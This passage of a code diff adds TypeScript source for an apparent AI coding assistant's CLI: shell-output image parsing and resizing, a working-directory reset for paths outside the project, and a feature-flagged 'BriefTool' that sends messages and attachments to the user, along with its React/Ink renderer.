+ * Check if content is a base64 encoded image data URL
48
+ */
49
+ export function isImageOutput(content: string): boolean {
50
+ return /^data:image\/[a-z0-9.+_-]+;base64,/i.test(content)
51
+ }
52
+
53
+ const DATA_URI_RE = /^data:([^;]+);base64,(.+)$/
54
+
55
+ /**
56
+ * Parse a data-URI string into its media type and base64 payload.
57
+ * Input is trimmed before matching.
58
+ */
59
+ export function parseDataUri(
60
+ s: string,
61
+ ): { mediaType: string; data: string } | null {
62
+ const match = s.trim().match(DATA_URI_RE)
63
+ if (!match || !match[1] || !match[2]) return null
64
+ return { mediaType: match[1], data: match[2] }
65
+ }
66
+
67
+ /**
68
+ * Build an image tool_result block from shell stdout containing a data URI.
69
+ * Returns null if parse fails so callers can fall through to text handling.
70
+ */
71
+ export function buildImageToolResult(
72
+ stdout: string,
73
+ toolUseID: string,
74
+ ): ToolResultBlockParam | null {
75
+ const parsed = parseDataUri(stdout)
76
+ if (!parsed) return null
77
+ return {
78
+ tool_use_id: toolUseID,
79
+ type: 'tool_result',
80
+ content: [
81
+ {
82
+ type: 'image',
83
+ source: {
84
+ type: 'base64',
85
+ media_type: parsed.mediaType as Base64ImageSource['media_type'],
86
+ data: parsed.data,
87
+ },
88
+ },
89
+ ],
90
+ }
91
+ }
92
+
93
+ // Cap file reads to 20 MB — any image data URI larger than this is
94
+ // well beyond what the API accepts (5 MB base64) and would OOM if read
95
+ // into memory.
96
+ const MAX_IMAGE_FILE_SIZE = 20 * 1024 * 1024
97
+
98
+ /**
99
+ * Resize image output from a shell tool. stdout is capped at
100
+ * getMaxOutputLength() when read back from the shell output file — if the
101
+ * full output spilled to disk, re-read it from there, since truncated base64
102
+ * would decode to a corrupt image that either throws here or gets rejected by
103
+ * the API. Caps dimensions too: compressImageBuffer only checks byte size, so
104
+ * a small-but-high-DPI PNG (e.g. matplotlib at dpi=300) sails through at full
105
+ * resolution and poisons many-image requests (CC-304).
106
+ *
107
+ * Returns the re-encoded data URI on success, or null if the source didn't
108
+ * parse as a data URI (caller decides whether to flip isImage).
109
+ */
110
+ export async function resizeShellImageOutput(
111
+ stdout: string,
112
+ outputFilePath: string | undefined,
113
+ outputFileSize: number | undefined,
114
+ ): Promise<string | null> {
115
+ let source = stdout
116
+ if (outputFilePath) {
117
+ const size = outputFileSize ?? (await stat(outputFilePath)).size
118
+ if (size > MAX_IMAGE_FILE_SIZE) return null
119
+ source = await readFile(outputFilePath, 'utf8')
120
+ }
121
+ const parsed = parseDataUri(source)
122
+ if (!parsed) return null
123
+ const buf = Buffer.from(parsed.data, 'base64')
124
+ const ext = parsed.mediaType.split('/')[1] || 'png'
125
+ const resized = await maybeResizeAndDownsampleImageBuffer(
126
+ buf,
127
+ buf.length,
128
+ ext,
129
+ )
130
+ return `data:image/${resized.mediaType};base64,${resized.buffer.toString('base64')}`
131
+ }
132
+
133
+ export function formatOutput(content: string): {
134
+ totalLines: number
135
+ truncatedContent: string
136
+ isImage?: boolean
137
+ } {
138
+ const isImage = isImageOutput(content)
139
+ if (isImage) {
140
+ return {
141
+ totalLines: 1,
142
+ truncatedContent: content,
143
+ isImage,
144
+ }
145
+ }
146
+
147
+ const maxOutputLength = getMaxOutputLength()
148
+ if (content.length <= maxOutputLength) {
149
+ return {
150
+ totalLines: countCharInString(content, '\n') + 1,
151
+ truncatedContent: content,
152
+ isImage,
153
+ }
154
+ }
155
+
156
+ const truncatedPart = content.slice(0, maxOutputLength)
157
+ const remainingLines = countCharInString(content, '\n', maxOutputLength) + 1
158
+ const truncated = `${truncatedPart}\n\n... [${remainingLines} lines truncated] ...`
159
+
160
+ return {
161
+ totalLines: countCharInString(content, '\n') + 1,
162
+ truncatedContent: truncated,
163
+ isImage,
164
+ }
165
+ }
166
+
167
+ export const stdErrAppendShellResetMessage = (stderr: string): string =>
168
+ `${stderr.trim()}\nShell cwd was reset to ${getOriginalCwd()}`
169
+
170
+ export function resetCwdIfOutsideProject(
171
+ toolPermissionContext: ToolPermissionContext,
172
+ ): boolean {
173
+ const cwd = getCwd()
174
+ const originalCwd = getOriginalCwd()
175
+ const shouldMaintain = shouldMaintainProjectWorkingDir()
176
+ if (
177
+ shouldMaintain ||
178
+ // Fast path: originalCwd is unconditionally in allWorkingDirectories
179
+ // (filesystem.ts), so when cwd hasn't moved, pathInAllowedWorkingPath is
180
+ // trivially true — skip its syscalls for the no-cd common case.
181
+ (cwd !== originalCwd &&
182
+ !pathInAllowedWorkingPath(cwd, toolPermissionContext))
183
+ ) {
184
+ // Reset to original directory if maintaining project dir OR outside allowed working directory
185
+ setCwd(originalCwd)
186
+ if (!shouldMaintain) {
187
+ logEvent('tengu_bash_tool_reset_to_original_dir', {})
188
+ return true
189
+ }
190
+ }
191
+ return false
192
+ }
193
+
194
+ /**
195
+ * Creates a human-readable summary of structured content blocks.
196
+ * Used to display MCP results with images and text in the UI.
197
+ */
198
+ export function createContentSummary(content: ContentBlockParam[]): string {
199
+ const parts: string[] = []
200
+ let textCount = 0
201
+ let imageCount = 0
202
+
203
+ for (const block of content) {
204
+ if (block.type === 'image') {
205
+ imageCount++
206
+ } else if (block.type === 'text' && 'text' in block) {
207
+ textCount++
208
+ // Include first 200 chars of text blocks for context
209
+ const preview = block.text.slice(0, 200)
210
+ parts.push(preview + (block.text.length > 200 ? '...' : ''))
211
+ }
212
+ }
213
+
214
+ const summary: string[] = []
215
+ if (imageCount > 0) {
216
+ summary.push(`[${imageCount} ${plural(imageCount, 'image')}]`)
217
+ }
218
+ if (textCount > 0) {
219
+ summary.push(`[${textCount} text ${plural(textCount, 'block')}]`)
220
+ }
221
+
222
+ return `MCP Result: ${summary.join(', ')}${parts.length > 0 ? '\n\n' + parts.join('\n\n') : ''}`
223
+ }
src/tools/BriefTool/BriefTool.ts ADDED
@@ -0,0 +1,204 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { feature } from 'bun:bundle'
2
+ import { z } from 'zod/v4'
3
+ import { getKairosActive, getUserMsgOptIn } from '../../bootstrap/state.js'
4
+ import { getFeatureValue_CACHED_WITH_REFRESH } from '../../services/analytics/growthbook.js'
5
+ import { logEvent } from '../../services/analytics/index.js'
6
+ import type { ValidationResult } from '../../Tool.js'
7
+ import { buildTool, type ToolDef } from '../../Tool.js'
8
+ import { isEnvTruthy } from '../../utils/envUtils.js'
9
+ import { lazySchema } from '../../utils/lazySchema.js'
10
+ import { plural } from '../../utils/stringUtils.js'
11
+ import { resolveAttachments, validateAttachmentPaths } from './attachments.js'
12
+ import {
13
+ BRIEF_TOOL_NAME,
14
+ BRIEF_TOOL_PROMPT,
15
+ DESCRIPTION,
16
+ LEGACY_BRIEF_TOOL_NAME,
17
+ } from './prompt.js'
18
+ import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
19
+
20
+ const inputSchema = lazySchema(() =>
21
+ z.strictObject({
22
+ message: z
23
+ .string()
24
+ .describe('The message for the user. Supports markdown formatting.'),
25
+ attachments: z
26
+ .array(z.string())
27
+ .optional()
28
+ .describe(
29
+ 'Optional file paths (absolute or relative to cwd) to attach. Use for photos, screenshots, diffs, logs, or any file the user should see alongside your message.',
30
+ ),
31
+ status: z
32
+ .enum(['normal', 'proactive'])
33
+ .describe(
34
+ "Use 'proactive' when you're surfacing something the user hasn't asked for and needs to see now — task completion while they're away, a blocker you hit, an unsolicited status update. Use 'normal' when replying to something the user just said.",
35
+ ),
36
+ }),
37
+ )
38
+ type InputSchema = ReturnType<typeof inputSchema>
39
+
40
+ // attachments MUST remain optional — resumed sessions replay pre-attachment
41
+ // outputs verbatim and a required field would crash the UI renderer on resume.
42
+ const outputSchema = lazySchema(() =>
43
+ z.object({
44
+ message: z.string().describe('The message'),
45
+ attachments: z
46
+ .array(
47
+ z.object({
48
+ path: z.string(),
49
+ size: z.number(),
50
+ isImage: z.boolean(),
51
+ file_uuid: z.string().optional(),
52
+ }),
53
+ )
54
+ .optional()
55
+ .describe('Resolved attachment metadata'),
56
+ sentAt: z
57
+ .string()
58
+ .optional()
59
+ .describe(
60
+ 'ISO timestamp captured at tool execution on the emitting process. Optional — resumed sessions replay pre-sentAt outputs verbatim.',
61
+ ),
62
+ }),
63
+ )
64
+ type OutputSchema = ReturnType<typeof outputSchema>
65
+ export type Output = z.infer<OutputSchema>
66
+
67
+ const KAIROS_BRIEF_REFRESH_MS = 5 * 60 * 1000
68
+
69
+ /**
70
+ * Entitlement check — is the user ALLOWED to use Brief? Combines build-time
71
+ * flags with runtime GB gate + assistant-mode passthrough. No opt-in check
72
+ * here — this decides whether opt-in should be HONORED, not whether the user
73
+ * has opted in.
74
+ *
75
+ * Build-time OR-gated on KAIROS || KAIROS_BRIEF (same pattern as
76
+ * PROACTIVE || KAIROS): assistant mode depends on Brief, so KAIROS alone
77
+ * must bundle it. KAIROS_BRIEF lets Brief ship independently.
78
+ *
79
+ * Use this to decide whether `--brief` / `defaultView: 'chat'` / `--tools`
80
+ * listing should be honored. Use `isBriefEnabled()` to decide whether the
81
+ * tool is actually active in the current session.
82
+ *
83
+ * CLAUDE_CODE_BRIEF env var force-grants entitlement for dev/testing —
84
+ * bypasses the GB gate so you can test without being enrolled. Still
85
+ * requires an opt-in action to activate (--brief, defaultView, etc.), but
86
+ * the env var alone also sets userMsgOptIn via maybeActivateBrief().
87
+ */
88
+ export function isBriefEntitled(): boolean {
89
+ // Positive ternary — see docs/feature-gating.md. Negative early-return
90
+ // would not eliminate the GB gate string from external builds.
91
+ return feature('KAIROS') || feature('KAIROS_BRIEF')
92
+ ? getKairosActive() ||
93
+ isEnvTruthy(process.env.CLAUDE_CODE_BRIEF) ||
94
+ getFeatureValue_CACHED_WITH_REFRESH(
95
+ 'tengu_kairos_brief',
96
+ false,
97
+ KAIROS_BRIEF_REFRESH_MS,
98
+ )
99
+ : false
100
+ }
101
+
102
+ /**
103
+ * Unified activation gate for the Brief tool. Governs model-facing behavior
104
+ * as a unit: tool availability, system prompt section (getBriefSection),
105
+ * tool-deferral bypass (isDeferredTool), and todo-nag suppression.
106
+ *
107
+ * Activation requires explicit opt-in (userMsgOptIn) set by one of:
108
+ * - `--brief` CLI flag (maybeActivateBrief in main.tsx)
109
+ * - `defaultView: 'chat'` in settings (main.tsx init)
110
+ * - `/brief` slash command (brief.ts)
111
+ * - `/config` defaultView picker (Config.tsx)
112
+ * - SendUserMessage in `--tools` / SDK `tools` option (main.tsx)
113
+ * - CLAUDE_CODE_BRIEF env var (maybeActivateBrief — dev/testing bypass)
114
+ * Assistant mode (kairosActive) bypasses opt-in since its system prompt
115
+ * hard-codes "you MUST use SendUserMessage" (systemPrompt.md:14).
116
+ *
117
+ * The GB gate is re-checked here as a kill-switch AND — flipping
118
+ * tengu_kairos_brief off mid-session disables the tool on the next 5-min
119
+ * refresh even for opted-in sessions. No opt-in → always false regardless
120
+ * of GB (this is the fix for "brief defaults on for enrolled ants").
121
+ *
122
+ * Called from Tool.isEnabled() (lazy, post-init), never at module scope.
123
+ * getKairosActive() and getUserMsgOptIn() are set in main.tsx before any
124
+ * caller reaches here.
125
+ */
126
+ export function isBriefEnabled(): boolean {
127
+ // Top-level feature() guard is load-bearing for DCE: Bun can constant-fold
128
+ // the ternary to `false` in external builds and then dead-code the BriefTool
129
+ // object. Composing isBriefEntitled() alone (which has its own guard) is
130
+ // semantically equivalent but defeats constant-folding across the boundary.
131
+ return feature('KAIROS') || feature('KAIROS_BRIEF')
132
+ ? (getKairosActive() || getUserMsgOptIn()) && isBriefEntitled()
133
+ : false
134
+ }
135
+
136
+ export const BriefTool = buildTool({
137
+ name: BRIEF_TOOL_NAME,
138
+ aliases: [LEGACY_BRIEF_TOOL_NAME],
139
+ searchHint:
140
+ 'send a message to the user — your primary visible output channel',
141
+ maxResultSizeChars: 100_000,
142
+ userFacingName() {
143
+ return ''
144
+ },
145
+ get inputSchema(): InputSchema {
146
+ return inputSchema()
147
+ },
148
+ get outputSchema(): OutputSchema {
149
+ return outputSchema()
150
+ },
151
+ isEnabled() {
152
+ return isBriefEnabled()
153
+ },
154
+ isConcurrencySafe() {
155
+ return true
156
+ },
157
+ isReadOnly() {
158
+ return true
159
+ },
160
+ toAutoClassifierInput(input) {
161
+ return input.message
162
+ },
163
+ async validateInput({ attachments }, _context): Promise<ValidationResult> {
164
+ if (!attachments || attachments.length === 0) {
165
+ return { result: true }
166
+ }
167
+ return validateAttachmentPaths(attachments)
168
+ },
169
+ async description() {
170
+ return DESCRIPTION
171
+ },
172
+ async prompt() {
173
+ return BRIEF_TOOL_PROMPT
174
+ },
175
+ mapToolResultToToolResultBlockParam(output, toolUseID) {
176
+ const n = output.attachments?.length ?? 0
177
+ const suffix = n === 0 ? '' : ` (${n} ${plural(n, 'attachment')} included)`
178
+ return {
179
+ tool_use_id: toolUseID,
180
+ type: 'tool_result',
181
+ content: `Message delivered to user.${suffix}`,
182
+ }
183
+ },
184
+ renderToolUseMessage,
185
+ renderToolResultMessage,
186
+ async call({ message, attachments, status }, context) {
187
+ const sentAt = new Date().toISOString()
188
+ logEvent('tengu_brief_send', {
189
+ proactive: status === 'proactive',
190
+ attachment_count: attachments?.length ?? 0,
191
+ })
192
+ if (!attachments || attachments.length === 0) {
193
+ return { data: { message, sentAt } }
194
+ }
195
+ const appState = context.getAppState()
196
+ const resolved = await resolveAttachments(attachments, {
197
+ replBridgeEnabled: appState.replBridgeEnabled,
198
+ signal: context.abortController.signal,
199
+ })
200
+ return {
201
+ data: { message, attachments: resolved, sentAt },
202
+ }
203
+ },
204
+ } satisfies ToolDef<InputSchema, Output>)
src/tools/BriefTool/UI.tsx ADDED
@@ -0,0 +1,101 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { c as _c } from "react/compiler-runtime";
2
+ import figures from 'figures';
3
+ import React from 'react';
4
+ import { Markdown } from '../../components/Markdown.js';
5
+ import { BLACK_CIRCLE } from '../../constants/figures.js';
6
+ import { Box, Text } from '../../ink.js';
7
+ import type { ProgressMessage } from '../../types/message.js';
8
+ import { getDisplayPath } from '../../utils/file.js';
9
+ import { formatFileSize } from '../../utils/format.js';
10
+ import { formatBriefTimestamp } from '../../utils/formatBriefTimestamp.js';
11
+ import type { Output } from './BriefTool.js';
12
+ export function renderToolUseMessage(): React.ReactNode {
13
+ return '';
14
+ }
15
+ export function renderToolResultMessage(output: Output, _progressMessages: ProgressMessage[], options?: {
16
+ isTranscriptMode?: boolean;
17
+ isBriefOnly?: boolean;
18
+ }): React.ReactNode {
19
+ const hasAttachments = (output.attachments?.length ?? 0) > 0;
20
+ if (!output.message && !hasAttachments) {
21
+ return null;
22
+ }
23
+
24
+ // In transcript mode (ctrl+o), model text is NOT filtered — keep the ⏺ so
25
+ // SendUserMessage is visually distinct from the surrounding text blocks.
26
+ if (options?.isTranscriptMode) {
27
+ return <Box flexDirection="row" marginTop={1}>
28
+ <Box minWidth={2}>
29
+ <Text color="text">{BLACK_CIRCLE}</Text>
30
+ </Box>
31
+ <Box flexDirection="column">
32
+ {output.message ? <Markdown>{output.message}</Markdown> : null}
33
+ <AttachmentList attachments={output.attachments} />
34
+ </Box>
35
+ </Box>;
36
+ }
37
+
38
+ // Brief-only (chat) view: "Claude" label + 2-col indent, matching the "You"
39
+ // label UserPromptMessage applies to user input (#20889). The "N in background"
40
+ // spinner status lives in BriefSpinner (Spinner.tsx) — stateless label here.
41
+ if (options?.isBriefOnly) {
42
+ const ts = output.sentAt ? formatBriefTimestamp(output.sentAt) : '';
43
+ return <Box flexDirection="column" marginTop={1} paddingLeft={2}>
44
+ <Box flexDirection="row">
45
+ <Text color="briefLabelClaude">Claude</Text>
46
+ {ts ? <Text dimColor> {ts}</Text> : null}
47
+ </Box>
48
+ <Box flexDirection="column">
49
+ {output.message ? <Markdown>{output.message}</Markdown> : null}
50
+ <AttachmentList attachments={output.attachments} />
51
+ </Box>
52
+ </Box>;
53
+ }
54
+
55
+ // Default view: dropTextInBriefTurns (Messages.tsx) hides the redundant
56
+ // assistant text that would otherwise precede this — SendUserMessage is the
57
+ // only text-like content in its turn. No gutter mark; read as plain text.
58
+ // userFacingName() returns '' so UserToolSuccessMessage drops its columns-5
59
+ // width constraint and AssistantToolUseMessage renders null (no tool chrome).
60
+ // Empty minWidth={2} box mirrors AssistantTextMessage's ⏺ gutter spacing.
61
+ return <Box flexDirection="row" marginTop={1}>
62
+ <Box minWidth={2} />
63
+ <Box flexDirection="column">
64
+ {output.message ? <Markdown>{output.message}</Markdown> : null}
65
+ <AttachmentList attachments={output.attachments} />
66
+ </Box>
67
+ </Box>;
68
+ }
69
+ type AttachmentListProps = {
70
+ attachments: Output['attachments'];
71
+ };
72
+ export function AttachmentList(t0) {
73
+ const $ = _c(4);
74
+ const {
75
+ attachments
76
+ } = t0;
77
+ if (!attachments || attachments.length === 0) {
78
+ return null;
79
+ }
80
+ let t1;
81
+ if ($[0] !== attachments) {
82
+ t1 = attachments.map(_temp);
83
+ $[0] = attachments;
84
+ $[1] = t1;
85
+ } else {
86
+ t1 = $[1];
87
+ }
88
+ let t2;
89
+ if ($[2] !== t1) {
90
+ t2 = <Box flexDirection="column" marginTop={1}>{t1}</Box>;
91
+ $[2] = t1;
92
+ $[3] = t2;
93
+ } else {
94
+ t2 = $[3];
95
+ }
96
+ return t2;
97
+ }
98
+ function _temp(att) {
99
+ return <Box key={att.path} flexDirection="row"><Text dimColor={true}>{figures.pointerSmall} {att.isImage ? "[image]" : "[file]"}{" "}</Text><Text>{getDisplayPath(att.path)}</Text><Text dimColor={true}> ({formatFileSize(att.size)})</Text></Box>;
100
+ }
101
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJNYXJrZG93biIsIkJMQUNLX0NJUkNMRSIsIkJveCIsIlRleHQiLCJQcm9ncmVzc01lc3NhZ2UiLCJnZXREaXNwbGF5UGF0aCIsImZvcm1hdEZpbGVTaXplIiwiZm9ybWF0QnJpZWZUaW1lc3RhbXAiLCJPdXRwdXQiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsIlJlYWN0Tm9kZSIsInJlbmRlclRvb2xSZXN1bHRNZXNzYWdlIiwib3V0cHV0IiwiX3Byb2dyZXNzTWVzc2FnZXMiLCJvcHRpb25zIiwiaXNUcmFuc2NyaXB0TW9kZSIsImlzQnJpZWZPbmx5IiwiaGFzQXR0YWNobWVudHMiLCJhdHRhY2htZW50cyIsImxlbmd0aCIsIm1lc3NhZ2UiLCJ0cyIsInNlbnRBdCIsIkF0dGFjaG1lbnRMaXN0UHJvcHMiLCJBdHRhY2htZW50TGlzdCIsInQwIiwiJCIsIl9jIiwidDEiLCJtYXAiLCJfdGVtcCIsInQyIiwiYXR0IiwicGF0aCIsInBvaW50ZXJTbWFsbCIsImlzSW1hZ2UiLCJzaXplIl0sInNvdXJjZXMiOlsiVUkudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBmaWd1cmVzIGZyb20gJ2ZpZ3VyZXMnXG5pbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBNYXJrZG93biB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvTWFya2Rvd24uanMnXG5pbXBvcnQgeyBCTEFDS19DSVJDTEUgfSBmcm9tICcuLi8uLi9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgUHJvZ3Jlc3NNZXNzYWdlIH0gZnJvbSAnLi4vLi4vdHlwZXMvbWVzc2FnZS5qcydcbmltcG9ydCB7IGdldERpc3BsYXlQYXRoIH0gZnJvbSAnLi4vLi4vdXRpbHMvZmlsZS5qcydcbmltcG9ydCB7IGZvcm1hdEZpbGVTaXplIH0gZnJvbSAnLi4vLi4vdXRpbHMvZm9ybWF0LmpzJ1xuaW1wb3J0IHsgZm9ybWF0QnJpZWZUaW1lc3RhbXAgfSBmcm9tICcuLi8uLi91dGlscy9mb3JtYXRCcmllZlRpbWVzdGFtcC5qcydcbmltcG9ydCB0eXBlIHsgT3V0cHV0IH0gZnJvbSAnLi9CcmllZlRvb2wuanMnXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlTWVzc2FnZSgpOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gJydcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBvdXRwdXQ6IE91dHB1dCxcbiAgX3Byb2dyZXNzTWVzc2FnZXM6IFByb2dyZXNzTWVzc2FnZVtdLFxuICBvcHRpb25zPzoge1xuICAgIGlzVHJhbnNjcmlwdE1vZGU/OiBib29sZWFuXG4gICAgaXNCcmllZk9ubHk/OiBib29sZWFuXG4gIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBoYXNBdHRhY2htZW50cyA9IChvdXRwdXQuYXR0YWNobWVudHM/Lmxlbmd0aCA/PyAwKSA+IDBcbiAgaWYgKCFvdXRwdXQubWVzc2FnZSAmJiAhaGFzQXR0YWNobWVudHMpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gSW4gdHJhbnNjcmlwdCBtb2RlIChjdHJsK28pLCBtb2RlbCB0ZXh0IGlzIE5PVCBmaWx0ZXJlZCDigJQga2VlcCB0aGUg4o+6IHNvXG4gIC8vIFNlbmRVc2VyTWVzc2FnZSBpcyB2aXN1YWxseSBkaXN0aW5jdCBmcm9tIHRoZSBzdXJyb3VuZGluZyB0ZXh0IGJsb2Nrcy5cbiAgaWYgKG9wdGlvbnM/LmlzVHJhbnNjcmlwdE1vZGUpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgICAgPEJveCBtaW5XaWR0aD17Mn0+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJ0ZXh0XCI+e0JMQUNLX0NJUkNMRX08L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgICA8QXR0YWNobWVudExpc3QgYXR0YWNobWVudHM9e291dHB1dC5hdHRhY2htZW50c30gLz5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L0JveD5cbiAgICApXG4gIH1cblxuICAvLyBCcmllZi1vbmx5IChjaGF0KSB2aWV3OiBcIkNsYXVkZVwiIGxhYmVsICsgMi1jb2wgaW5kZW50LCBtYXRjaGluZyB0aGUgXCJZb3VcIlxuICAvLyBsYWJlbCBVc2VyUHJvbXB0TWVzc2FnZSBhcHBsaWVzIHRvIHVzZXIgaW5wdXQgKCMyMDg4OSkuIFRoZSBcIk4gaW4gYmFja2dyb3VuZFwiXG4gIC8vIHNwaW5uZXIgc3RhdHVzIGxpdmVzIGluIEJyaWVmU3Bpbm5lciAoU3Bpbm5lci50c3gpIOKAlCBzdGF0ZWxlc3MgbGFiZWwgaGVyZS5cbiAgaWYgKG9wdGlvbnM/LmlzQnJpZWZPbmx5KSB7XG4gICAgY29uc3QgdHMgPSBvdXRwdXQuc2VudEF0ID8gZm9ybWF0QnJpZWZUaW1lc3RhbXAob3V0cHV0LnNlbnRBdCkgOiAnJ1xuICAgIHJldHVybiAoXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBtYXJnaW5Ub3A9ezF9IHBhZGRpbmdMZWZ0PXsyfT5cbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCI+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJicmllZkxhYmVsQ2xhdWRlXCI+Q2xhdWRlPC9UZXh0PlxuICAgICAgICAgIHt0cyA/IDxUZXh0IGRpbUNvbG9yPiB7dHN9PC9UZXh0PiA6IG51bGx9XG4gICAgICAgIDwvQm94PlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgICA8QXR0YWNobWVudExpc3QgYXR0YWNobWVudHM9e291dHB1dC5hdHRhY2htZW50c30gLz5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L0JveD5cbiAgICApXG4gIH1cblxuICAvLyBEZWZhdWx0IHZpZXc6IGRyb3BUZXh0SW5CcmllZlR1cm5zIChNZXNzYWdlcy50c3gpIGhpZGVzIHRoZSByZWR1bmRhbnRcbiAgLy8gYXNzaXN0YW50IHRleHQgdGhhdCB3b3VsZCBvdGhlcndpc2UgcHJlY2VkZSB0aGlzIOKAlCBTZW5kVXNlck1lc3NhZ2UgaXMgdGhlXG4gIC8vIG9ubHkgdGV4dC1saWtlIGNvbnRlbnQgaW4gaXRzIHR1cm4uIE5vIGd1dHRlciBtYXJrOyByZWFkIGFzIHBsYWluIHRleHQuXG4gIC8vIHVzZXJGYWNpbmdOYW1lKCkgcmV0dXJucyAnJyBzbyBVc2VyVG9vbFN1Y2Nlc3NNZXNzYWdlIGRyb3BzIGl0cyBjb2x1bW5zLTVcbiAgLy8gd2lkdGggY29uc3RyYWludCBhbmQgQXNzaXN0YW50VG9vbFVzZU1lc3NhZ2UgcmVuZGVycyBudWxsIChubyB0b29sIGNocm9tZSkuXG4gIC8vIEVtcHR5IG1pbldpZHRoPXsyfSBib3ggbWlycm9ycyBBc3Npc3RhbnRUZXh0TWVzc2FnZSdzIOKPuiBndXR0ZXIgc3BhY2luZy5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIiBtYXJnaW5Ub3A9ezF9PlxuICAgICAgPEJveCBtaW5XaWR0aD17Mn0gLz5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgPEF0dGFjaG1lbnRMaXN0IGF0dGFjaG1lbnRzPXtvdXRwdXQuYXR0YWNobWVudHN9IC8+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG50eXBlIEF0dGFjaG1lbnRMaXN0UHJvcHMgPSB7XG4gIGF0dGFjaG1lbnRzOiBPdXRwdXRbJ2F0dGFjaG1lbnRzJ11cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEF0dGFjaG1lbnRMaXN0KHtcbiAgYXR0YWNobWVudHMsXG59OiBBdHRhY2htZW50TGlzdFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgaWYgKCFhdHRhY2htZW50cyB8fCBhdHRhY2htZW50cy5sZW5ndGggPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIHthdHRhY2htZW50cy5tYXAoYXR0ID0+IChcbiAgICAgICAgPEJveCBrZXk9e2F0dC5wYXRofSBmbGV4RGlyZWN0aW9uPVwicm93XCI+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICB7ZmlndXJlcy5wb2ludGVyU21hbGx9IHthdHQuaXNJbWFnZSA/ICdbaW1hZ2VdJyA6ICdbZmlsZV0nfXsnICd9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDxUZXh0PntnZXREaXNwbGF5UGF0aChhdHQucGF0aCl9PC9UZXh0PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiAoe2Zvcm1hdEZpbGVTaXplKGF0dC5zaXplKX0pPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICkpfVxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxPQUFPLE1BQU0sU0FBUztBQUM3QixPQUFPQyxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxRQUFRLFFBQVEsOEJBQThCO0FBQ3ZELFNBQVNDLFlBQV